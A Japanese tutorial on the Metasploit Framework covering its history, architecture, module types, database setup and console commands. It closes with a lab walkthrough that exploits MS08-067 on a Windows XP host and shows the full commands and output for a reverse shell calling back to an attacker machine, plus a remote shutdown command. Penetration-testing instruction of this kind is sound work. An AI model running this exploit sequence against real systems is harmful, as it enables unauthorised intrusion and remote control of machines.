1. 設計思想と開発背景
セキュリティ検証作業において、無数の脆弱性PoC(概念実証コード)やEXP(攻撃スクリプト)が個別の言語・依存パッケージ・実行環境で配布される課題は長年存在した。Metasploit Framework(MSF)は、これらの断片的な攻撃コードを標準化されたモジュール単位で統合管理し、環境依存を排除するために構築されたオープンソースプラットフォームである。
2003年にH.D. Moore氏により初版が公開され、2007年にRuby言語による大規模リファクタリングを経て、現在の拡張可能なアーキテクチャが確立された。ライセンス体系としては、ディストリビューションに標準搭載されコミュニティ主導でメンテナンスされるCommunity版と、自動レポート生成、高度な検知回避(AV/EDR・IDS/IPS)、マルチホップPivoting機能を備えた商用Enterprise版が存在する。
2. 内部アーキテクチャ
MSFは階層化されたコンポーネント群で構成され、保守性と拡張性を両立している。
- REXコアライブラリ:ソケット接続管理、プロトコル実装(HTTP/SMB/SSL等)、エンコーディング変換(Base64/XOR/Unicode等)を抽象化する共通基盤。
- モジュールエンジン:攻撃・検証ロジックをカテゴリ別に分離。現行版ではEvasionモジュールを含め7つの機能領域を提供。
- プラグイン機構:NessusやNmap等の外部診断ツールをMSFセッション内から直接呼び出し、結果を統合管理する拡張インターフェース。
- クライアント層:対話型CLI(
msfconsole)、REST/RPC API(msfrpc)、サードパーティGUI連携(Armitage/Cobalt Strike)。 - スタンドアロンユーティリティ:ペイロード生成・難読化を実行する
msfvenom等の独立実行ファイル群。
3. モジュール分類と動作仕様
MSFの機能は用途に応じて厳密に区分され、脆弱性検証のフェーズに合わせて呼び出される。
- Auxiliary:ポートスキャン、サービスバナー取得、認証総当たり、DoS検証など、エクスプロイト実行を伴わない情報収集・検証機能。
- Exploits:対象OS/ミドルウェアの脆弱性ロジックを実装した攻撃コード。バインド型・リバース型、アクティブ/パッシブ実行モードに対応。
- Payloads:エクスプロイト成功後にターゲット上で展開される実行コード。メモリ制約に対応したステージ配信モデルを採用。
single:自己完結型の軽量シェルコード。stager:初期接続を確立し、追加モジュールのダウンロードを中継する小型ペイロード。stage:Stager経由で配信される完全な制御環境(Meterpreter等)。
- Encoders:静的シグネチャ検知を回避するため、ペイロードのバイト列を変換・難読化するフィルタ。
- Nops:ASLRやアドレス計算誤差を吸収するためのNOP Sledを挿入し、Shellcodeの実行成功率を向上させる。
- Post:リモートアクセス確立後に実行する権限昇格、情報抽出、永続化設定、内部ネットワーク横展開モジュール。
- Evasion:マルウェア解析環境・セキュリティソフトの挙動検知を迂回するための難読化生成機能。
4. データベース管理とコンソール初期化
MSFは診断結果・脆弱性情報・セッションメタデータをPostgreSQLで永続化する。Kali Linux環境ではmsfdbラッパーによりDBライフサイクルを一元操作できる。
# データベースステータス確認と初期構築
$ msfdb status
$ msfdb init
# サービス自動起動設定(必要時)
$ sudo systemctl enable --now postgresql
# コンソール起動(非対話バナー付き)
$ msfconsole --quiet --banner
フレームワーク本体およびモジュール定義の更新は、パッケージマネージャ経由で実施する。
$ sudo apt update
$ sudo apt install metasploit-framework
5. 対話型シェルコマンド体系
msfconsoleはTAB補完、外部シェルエスケープ、エイリアス定義を備えた統合CLIである。主要コマンドの用途を以下に示す。
help/?:組み込みコマンドリファレンス表示。connect <HOST> <PORT>:簡易TCPクライアント(NetCat代替)。show <RESOURCE>:modules、payloads、options、targets、advanced等のリソース一覧。search <QUERY>:モジュールフィルタリング。name:、platform:、type:、cve:、author:等の属性で複合検索可能。use <PATH>:指定モジュールをアクティブコンテキストへロード。set/setg:スコープ付き変数定義。setgは複数モジュール跨ぎのグローバル設定。check:脆弱性の実在性検証のみ実施(ペイロード配信なし)。run/exploit [-j]:モジュール実行(-j指定でバックグラウンドジョブ化)。sessions -i <ID>:取得済みセッションへの対話切替。jobs -K/sessions -K:実行タスク・セッションの一括終了。
コンソール終了時にsaveを実行することで、設定値が~/.msf4/configにシリアライズされ、次回起動時に自動復元される。
6. 脆弱性検証の実行フロー
以下は、SMBプロトコルの論理欠陥(MS08-067)を対象とした検証シナリオである。ネットワーク定義、ターゲット特定、ペイロード逆接続設定、バックグラウンド実行の手順を再構成している。
環境パラメータ
- ターゲット(RHOSTS):10.0.2.15(Windows XP SP3 日本語版)
- 攻撃機(LHOST):10.0.2.4
- 待機ポート(LPORT):4488
- ペイロードタイプ:windows/shell/reverse_tcp
msf6 > search name:ms08_067 type:exploit
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.0.2.15
RHOSTS => 10.0.2.15
msf6 > show targets
# 出力リストから対象OS/言語に一致するインデックスを特定
msf6 > set TARGET 34
msf6 > set PAYLOAD windows/shell/reverse_tcp
msf6 > set LHOST 10.0.2.4
msf6 > set LPORT 4488
msf6 > check
[*] 10.0.2.15:445 - The target is vulnerable.
msf6 > exploit -j
[*] Exploit running as background job 2.
[*] 10.0.2.15:445 - Auto-targeting detected architecture/language...
[*] Transmitting intermediate stager for over-sized stage...
[*] Sending stage (957999 bytes) to 10.0.2.15
[*] Command shell session 3 opened (10.0.2.4:4488 -> 10.0.2.15:1032)
msf6 > sessions -i 3
[*] Starting interaction with 3...
Microsoft Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>
上記フローではexploit -jによりセッション取得後もメインコンソールを維持し、sessions -iで非同期ハンドラへ制御を委譲している。確立されたシェルセッション内で、標準OSコマンド(shutdown /r /t 0等)の発行や権限昇格検証が可能となる。